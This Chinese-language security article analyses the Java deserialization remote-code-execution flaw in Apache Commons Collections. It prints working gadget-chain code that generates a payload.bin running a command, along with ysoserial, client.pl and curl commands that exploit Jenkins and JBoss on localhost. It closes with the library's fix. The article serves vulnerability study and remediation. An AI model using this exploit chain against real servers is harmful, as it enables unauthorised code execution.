懸鏡安全丨Java 反序列化任意程式碼執行漏洞分析與利用
本文首發平臺:懸鏡官網,如需轉載,請聯絡小編,謝謝。
2015年的1月28號,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[3],報告中介紹了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現任意程式碼執行。
同年11月6日,FoxGlove Security安全團隊的@breenmachine在一篇部落格中[2]介紹瞭如何利用Java反序列化漏洞,來攻擊最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些大名鼎鼎的Java應用,實現遠端程式碼執行。
距離漏洞釋出已經有了一年多的時間,仍然有很多網站仍未修復漏洞。
1.漏洞原理
1.1 Java序列化與反序列化
簡單的說,把物件轉換為位元組序列的過程稱為物件的序列化。把位元組序列恢復為物件的過程稱為物件的反序列化。
Java序列化的目的是為了將某些物件儲存到磁碟上,從而長期儲存,例如最常見的是Web伺服器中的Session物件,當有 10萬使用者併發訪問,就有可能出現10萬個Session物件,記憶體可能吃不消,於是Web容器就會把一些seesion先序列化到硬碟中,等要用了,再把儲存在硬碟中的物件還原到記憶體中。
或者當兩個程式在進行遠端通訊時,彼此可以傳送各種型別的資料。無論是何種型別的資料,都會以二進位制序列的形式在網路上傳送。
傳送方需要把這個Java物件轉換為位元組序列,才能在網路上傳送;接收方則需要把位元組序列再恢復為Java物件。
一個序列化與反序列化的典型場景如下:
```
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class deserial {
public static void main(String args[]) throws Exception {
String obj = "hello world!";
// 將序列化物件寫入檔案object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 從檔案object.db中讀取資料
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通過反序列化恢復物件obj
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
} ```
1.2Java 反序列化漏洞
Java 反序列化漏洞的核心在於,由於Java中的類ObjectInputStream在反序列化時,沒有對生成的物件的型別做限制。
在反序列化的時候不需要指定原來的資料型別即可進行反序列化。如下程式碼仍可以執行:import
java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class deserial { public static void main(String args[]) throws Exception { String obj = "hello world!"; // 將序列化物件寫入檔案object.db中
FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 從檔案object.db中讀取資料 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis);
// 通過反序列化恢復物件obj Object obj2 = ois.readObject(); System.out.println(obj2); ois.close(); } }
那麼對使用者輸入,即不可信資料做了反序列化處理,那麼攻擊者可以通過構造惡意輸入,讓反序列化產生非預期的物件,非預期的物件在產生過程中就有可能帶來任意程式碼執行。
反序列漏洞由來已久,PHP 和 Python 中也有同樣的問題,而在 Java 中問題比較嚴重的原因是因為一些公用庫,例如Apache Commons Collections中實現的一些類可以被反序列化用來實現任意程式碼執行。
WebLogic、WebSphere、JBoss、Jenkins、OpenNMS這些應用的反序列化漏洞能夠得以利用,就是依靠了Apache Commons Collections。
但是該漏洞的根源並不在於公共庫,而是在於 Java 沒有對反序列化生成的物件的型別做限制。正如某些評論所說:
![image](http://i4.buimg.com/567571/
e92c86dadfbb3033.png)
1.3漏洞利用原理
該漏洞的出現的根源在CommonsCollections元件中對於集合的操作存在可以進行反射呼叫的方法,並且該方法在相關物件反序列化時並未進行任何校驗,新版本的修復方案對相關反射呼叫進行了限制。
1.3.1 InvokerTransformer.transform()實現程式執行
問題函式主要出現在org.apache.commons.collections.Transformer,我們可以看到Transformer介面定義了一個方法。 ``` public interface Transformer {
/**
* Transforms the input object (leaving it unchanged) into some output object.
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
public Object transform(Object input);
}
 
     該介面的作用是給定一個 Object 進行 transform 變換後返回新的 Object,我們看它的實現類: ![](http://i1.piimg.com/567571/08a0898c8e213f96.png)        其中介面的實現類InvokerTransformer的實現存在問題,我們看該類的transform 函式程式碼實現:
/** * Transforms the input to result
by invoking a method on the input. * * @param input the input object to transform * @return the transformed result, null if null input */ public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method
method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
} ``` 發現它可以用反射的方法進行函式呼叫input 物件的 iMethodName 函式,引數為 iArgs。
同時可以看到它的這三個引數都是在建構函式中設定的,均為可控引數。
1.3.2 TransformedMap.checkSetValue()-
InvokerTransformer.transform()
我們知道
InvokerTransformer這個類的 transformer 函式可以用來執行任意程式碼,我們需要找呼叫這個函式的位置。
我們看到有很多類呼叫了這個函式,我們以 TransformedMap 為例子進行介紹。
1.3.3 MapEntry.setValue()->TransformedMap.checkSetValue()
我們看TransformedMap.checkSetValue()的函式定義如下:/**
* Override to transform the value when using <code>setValue</code>. * * @param value the value to transform * @return the transformed value * @since Commons Collections 3.1 */ protected Object checkSetValue(Object value) { return valueTransformer.transform(value);
}
我們在 eclipse 中檢視它TransformedMap.checkSetValue()的呼叫棧發現它被MapEntry.setValue() 呼叫: ``` /** * Implementation of a map entry that checks additions via setValue. */ static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
} ``` 在MapEntry.setValue() 中對 parent 進行了 checkSetValue AbstractInputCheckedMapDecorator 型別的parent 是在建構函式中進行設定的。
TransformedMap是AbstractInputCheckedMapDecorator 的一個子類,只要將 parent 設定為惡意的物件即可。
這樣如果我們在序列化TransformedMap時指定了惡意的 InvokeTransformer 那麼在MapEntry 執行 setValue 呼叫的時候,就會觸發我們的 InvokeTransformer 中設定的惡意程式碼。 例如以下例子: ``` import java.util.HashMap; import java.util.Map; import java.util.Map.Entry;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class deserial { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
} ```
1.3.4 AnnotationInvocationHandler.readObject()->MapEntry.setValue()
但是目前的構造還需要依賴於觸發Map中某一項去呼叫setValue(),我們需要想辦法通過readObject()直接觸發。 我們觀察到java執行庫中有這樣一個類AnnotationInvocationHandler,這個類有一個成員變數memberValues是Map型別,同時它在 readObject 中對每一項 memberValue 都呼叫了 setValue,如下所示:
我們可以看到在 AnnotationInvocationHandler類的 readObject 函式中剛好有一個元素memberTypes,被呼叫了 setValue()方法,因此只需要構造一個 TransformedMap ,將它的 transformer 設定為 InvokeTransformer,然後將其用反射封裝為一個AnnotationInvocationHandler類的物件。那麼在反序列化在AnnotationInvocationHandler.readObject(xx)事就會觸發漏洞,需要注意,這裡的觸發的類為AnnotationInvocationHandler。 生成 Payload 的一種方法如下: ``` import java.io.File; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class deserial { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map<String, String> innerMap = new HashMap<String, String>();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
} ```
2.漏洞利用例項
針對 java 反序列化漏洞,國外有黑客已經寫了開源的漏洞利用工具ysoserial ,國內也有大神根據該工具製作了 Jenkin 的利用工具。
2.1 Jenkins1.514漏洞利用
首先拿到一個Java應用,需要找到一個接受外部輸入的序列化物件的接收點,即反序列化漏洞的觸發點。我們可以通過審計原始碼中對反序列化函式的呼叫(例如readObject())來尋找,也可以直接通過對應用互動流量進行抓包,檢視流量中是否包含java序列化資料來判斷,java序列化資料的特徵為以標記(ac ed 00 05)開頭。
2.1.1 檢查 ClassPath
確定了反序列化輸入點後,再檢視ClassPath 是否有 ApacheCommonsCollections 庫grep
-R "InvokerTransformer" ~/.jenkins
2.1.2 利用國內的漏洞利用工具利用
我們使用國內的某Jenkins 漏洞利用工具進行漏洞利用。./client.pl
--url http://127.0.0.1:8080/ --os linux --cmd '{ whoami; ls -lh; } > /tmp/hacked'
我們可以看到漏洞利用成功:
2.1.3 伺服器日誌
對於低版本的 Jenkins 我們發現在觸發漏洞的時候,伺服器報異常。 對於最新版本的2.7.3的 Jenkins則無法成功。
2.2 Jboss6.0.0.Final攻擊
2.2.1 生成 payload
使用ysoserial生成 payload,如下:
java
-jar ysoserial-0.0.4-all.jar CommonsCollections1 'touch /tmp/hacked' > payload.bin
2.2.2 用 curl 傳送 payload:
curl
--header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@payload.out' http://127.0.0.1:8080/invoker/JMXInvokerServlet
可以看到/tmp/hacked
被建立
但是目前存在的問題是其他有的指令無法執行。
3.漏洞修復
ApacheCommonsCollections在3.2.2中修復了漏洞。對這些不安全的Java類的序列化支援增加了開關,預設為關閉狀態。涉及的類包括CloneTransformer,ForClosure,
InstantiateFactory, InstantiateTransformer, InvokerTransformer, PrototypeCloneFactory,PrototypeSerializationFactory, WhileClosure
。
例如 InvokerTransformer 中,如果對該物件序列化,則會報異常。 ``` /** * Overrides the default writeObject implementation to prevent * serialization (see COLLECTIONS-580). */ private void writeObject(ObjectOutputStream os) throws IOException { FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); os.defaultWriteObject(); }
/** * Overrides the default readObject implementation to prevent * de-serialization (see COLLECTIONS-580). */ private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException { FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class); is.defaultReadObject(); } ```
參考資料
[1]:https://github.com/frohoff/ysoserial/
[3]:http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
相關文章
- Django任意程式碼執行漏洞分析Django
- 烽火狼煙丨Apache Commons Text 任意程式碼執行漏洞Apache
- 流行 VPN 包含允許執行任意程式碼的安全漏洞
- VMwareMac版本漏洞可任意執行惡意程式碼REMMac
- 修復Apache Log4j任意程式碼執行漏洞安全風險通告Apache
- IE 5.5 Index.dat 執行任意程式碼漏洞 (轉)Index
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- Java安全之Cas反序列化漏洞分析Java
- GitHub漏洞允許任意程式碼執行,Windows不受影響GithubWindows
- 告別指令碼小子系列丨JAVA安全(6)——反序列化利用鏈(上)指令碼Java
- Joomla遠端程式碼執行漏洞分析OOM
- Firefox,Chrome中的高危漏洞允許執行任意程式碼FirefoxChrome
- 利用CouchDB未授權訪問漏洞執行任意系統命令
- Java安全之Shiro 550反序列化漏洞分析Java
- Acer和華碩電腦漏洞曝光,可導致任意程式碼執行
- 利用 Python 特性在 Jinja2 模板中執行任意程式碼Python
- Git 爆任意程式碼執行漏洞,所有使用者都受影響Git
- Discuz! X系列遠端程式碼執行漏洞分析
- JAVA反序列化漏洞完整過程分析與除錯Java除錯
- Android Adobe Reader 任意程式碼執行分析(附POC)Android
- WordPress4.6任意命令執行漏洞
- ElasticSearch 遠端程式碼執行漏洞分析(CVE-2015-1427)&高階利用方法Elasticsearch
- Java執行緒(一):執行緒安全與不安全Java執行緒
- ThinkPHP遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- Java 執行緒安全 與 鎖Java執行緒
- Java安全之Axis漏洞分析Java
- iOS Jailbreak Principles - Undecimus 分析(三)通過 IOTrap 實現核心任意程式碼執行iOSAI
- 關於fastjson出現反序列化遠端程式碼執行漏洞的通知ASTJSON
- 【安全公告】PHP多個遠端程式碼執行漏洞風險預警PHP
- 乾貨|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意程式碼執行漏洞分析PHPNginx
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- OpenWRT 曝遠端程式碼執行漏洞
- XYHCMS 3.6 後臺程式碼執行漏洞
- WebLogic之Java反序列化漏洞利用實現二進位制檔案上傳和命令執行WebJava
- [原創]Java開發工具包URL引數遠端程式碼執行漏洞之分析Java
- java RMI相關反序列化漏洞整合分析Java
- Java安全基礎之Java序列化與反序列化Java